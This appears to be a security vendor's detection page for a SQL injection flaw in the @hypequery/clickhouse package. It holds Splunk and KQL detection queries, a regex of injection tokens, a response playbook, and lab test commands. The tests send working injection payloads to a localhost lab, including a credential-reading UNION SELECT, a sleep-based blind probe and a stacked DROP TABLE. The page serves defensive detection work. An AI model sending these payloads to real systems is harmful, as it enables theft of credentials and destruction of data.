CVE-2026-54658 Splunk · SPL

Detect CVE-2026-54658 - @hypequery/clickhouse SQL Injection via Parameter Escaping in Splunk

@hypequery/clickhouse versions prior to 2.0.2 contain a SQL injection vulnerability (CWE-89) in their parameter escaping logic, allowing an attacker who controls query parameter input to inject arbitrary ClickHouse SQL. Successful exploitation permits unauthorized data disclosure, modification, or execution of arbitrary SQL statements against the backing ClickHouse database. CVSS 9.8. A public PoC/advisory exists (GHSA-6wcc-39rp-hh9p). Detections target anomalous ClickHouse query patterns (union-based, stacked queries, system table access, sleep/benchmark-based blind injection) originating from application service accounts using the hypequery client, as well as npm dependency footprint indicating vulnerable package versions.

MITRE ATT&CK

Tactic
Initial Access Collection Impact Execution

SPL Detection Query

Splunk (SPL)
spl
index=web_logs OR index=app_logs ("clickhouse" OR "hypequery")
| rex field=_raw "(?<extracted_query>(?i)(union\s+select|;\s*drop|sleep\(|benchmark\(|system\.tables|system\.users|system\.processes|information_schema|'\s*or\s*'1'='1))"
| where isnotnull(extracted_query)
| stats count min(_time) as first_seen max(_time) as last_seen values(extracted_query) as injection_patterns by src_ip, uri_path, host
| where count > 0
| sort -last_seen
high severity medium confidence

Searches web and application logs for ClickHouse queries generated via hypequery containing classic SQL injection tokens (union-based, stacked queries, blind time-based, system table enumeration).

Data Sources

Web Application LogsApplication Server Logs

Required Sourcetypes

access_combinednodejs:appclickhouse:query_log

False Positives & Tuning

  • Legitimate BI/reporting queries referencing system tables for observability
  • Penetration test traffic from authorized red team engagements
  • Third-party monitoring agents polling ClickHouse system tables

Other platforms for CVE-2026-54658


Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Basic UNION-based SQL injection against hypequery endpoint

    Expected signal: HTTP access log entry with URI query parameter containing 'UNION SELECT' and 'system.users'; ClickHouse system.query_log entry reflecting the injected query.

  2. Test 2Blind time-based SQL injection via sleep()

    Expected signal: Delayed HTTP response (~5s) correlated with an access log entry containing 'sleep(' in the query string; ClickHouse query log shows sleep() function execution.

  3. Test 3Stacked query injection attempting DROP TABLE

    Expected signal: Access log entry containing '; DROP TABLE'; ClickHouse system.query_log showing an attempted or executed DROP TABLE statement outside expected application queries.

  4. Test 4System table enumeration via injected query

    Expected signal: Web server access log and ClickHouse query log entries referencing 'system.tables' combined with a UNION SELECT clause.


Response Playbook

Triage

  1. Identify all applications and services using @hypequery/clickhouse and determine installed version via package-lock.json/npm ls to confirm exposure (versions < 2.0.2 vulnerable).
  2. Review the alerting log source for the exact injected payload and correlate with the source IP, authenticated user/service account, and targeted endpoint to determine intent and scope.
  3. Check ClickHouse query logs (system.query_log) around the alert timestamp for the actual executed SQL to confirm whether injection succeeded and what data/tables were accessed.
  4. Assess whether the injection attempt originated from an external, unauthenticated source or an internal/authenticated session to gauge exploitation feasibility and blast radius.

Containment

  1. Upgrade @hypequery/clickhouse to version 2.0.2 or later (2.5.1 recommended) across all affected services immediately; redeploy applications after the dependency bump.
  2. If immediate patching is not possible, deploy a WAF rule or reverse proxy filter blocking known SQL injection patterns to the ClickHouse-facing API endpoints, and restrict ClickHouse database user permissions to least privilege.

Evidence Collection

  1. Export ClickHouse system.query_log and system.query_thread_log entries covering the incident window for forensic reconstruction of executed queries.
  2. Preserve application/web server access logs, WAF logs, and relevant network flow data showing the source of the injection attempt and any subsequent data exfiltration.

Escalation Criteria

  • !Escalate to incident response if forensic review confirms the injected query executed successfully and returned or modified sensitive data (e.g., system.users, credentials tables, PII).
  • !Escalate if the vulnerable ClickHouse instance is externally reachable or if evidence indicates automated/mass scanning tied to the public PoC (GHSA-6wcc-39rp-hh9p).

Investigation Guide

Related Techniques

Forensic Artifacts

  • >ClickHouse system.query_log and system.query_thread_log entries showing anomalous or malformed SQL statements
  • >Application server / reverse proxy access logs showing raw request parameters with injection payloads
  • >npm package-lock.json or node_modules manifest confirming installed @hypequery/clickhouse version

Tuning Guidance

Baseline legitimate query patterns (including any authorized UNION or system-table introspection queries) per application before enabling this rule broadly, since analytics platforms commonly use SQL constructs that overlap with injection signatures. Scope detection first to externally-facing or unauthenticated endpoints using @hypequery/clickhouse, then expand to internal services after tuning out known-benign automation and monitoring tools. Prioritize alerts where injection tokens appear in unauthenticated request paths over those from trusted internal service accounts.


Hunting Queries

Hunts for ClickHouse query errors or syntax exceptions logged by the hypequery client, which may indicate failed or exploratory injection attempts prior to a successful attack.

Hunting — KQL
kql
ContainerLogV2
| where TimeGenerated > ago(7d)
| where LogMessage has "hypequery" and LogMessage has_any ("error", "exception", "syntax")
| project TimeGenerated, ContainerId, LogMessage
| sort by TimeGenerated desc
Hunting — SPL
spl
index=app_logs "hypequery" ("error" OR "exception" OR "syntax")
| table _time, host, _raw
| sort -_time

Atomic Red Team Tests

Test 1 Basic UNION-based SQL injection against hypequery endpoint
linux

Simulates an attacker submitting a UNION SELECT payload through an application parameter processed by a vulnerable @hypequery/clickhouse (<2.0.2) instance to test detection of injected query patterns.

Command

bash
curl -s -X GET "http://localhost:3000/api/query?filter=1' UNION SELECT name,password FROM system.users--" -H 'Content-Type: application/json'

Cleanup

bash
No persistent changes; restart the lab application container if state was altered: docker restart hypequery-lab-app

Expected Telemetry

HTTP access log entry with URI query parameter containing 'UNION SELECT' and 'system.users'; ClickHouse system.query_log entry reflecting the injected query.

Expected Detection

kql and spl rules should alert on the UNION SELECT and system.users tokens in the request payload/query log.

Test 2 Blind time-based SQL injection via sleep()
linux

Simulates a blind SQL injection technique using ClickHouse's sleep() function to infer data via response timing, targeting a vulnerable hypequery parameter binding.

Command

bash
curl -s -X GET "http://localhost:3000/api/query?filter=1' AND sleep(5)--" -H 'Content-Type: application/json'

Cleanup

bash
No persistent changes required; verify no long-running queries remain: docker exec clickhouse-lab clickhouse-client -q 'SHOW PROCESSLIST'

Expected Telemetry

Delayed HTTP response (~5s) correlated with an access log entry containing 'sleep(' in the query string; ClickHouse query log shows sleep() function execution.

Expected Detection

elastic_eql and chronicle_yaral rules should flag the sleep( token combined with the network request to the ClickHouse port.

Test 3 Stacked query injection attempting DROP TABLE
linux

Simulates an attacker attempting a stacked/destructive query injection to test whether the vulnerable parameter escaping allows multi-statement execution.

Command

bash
curl -s -X GET "http://localhost:3000/api/query?filter=1'; DROP TABLE test_data;--" -H 'Content-Type: application/json'

Cleanup

bash
Restore test_data table from lab backup if dropped: docker exec clickhouse-lab clickhouse-client -q 'CREATE TABLE IF NOT EXISTS test_data (id UInt32) ENGINE=Memory'

Expected Telemetry

Access log entry containing '; DROP TABLE'; ClickHouse system.query_log showing an attempted or executed DROP TABLE statement outside expected application queries.

Expected Detection

qradar_aql and sumo_logic rules should alert on the '; drop' pattern found in the request payload.

Test 4 System table enumeration via injected query
windows

Simulates reconnaissance activity where an attacker injects a query to enumerate ClickHouse system.tables metadata to map database schema for further exploitation.

Command

powershell
Invoke-WebRequest -Uri "http://localhost:3000/api/query?filter=1' UNION SELECT table,database FROM system.tables--" -Method GET

Cleanup

powershell
No cleanup required; no state modified on the lab ClickHouse instance.

Expected Telemetry

Web server access log and ClickHouse query log entries referencing 'system.tables' combined with a UNION SELECT clause.

Expected Detection

crowdstrike_cql and kql rules should detect the system.tables reference alongside the injected UNION SELECT pattern.

Related Detections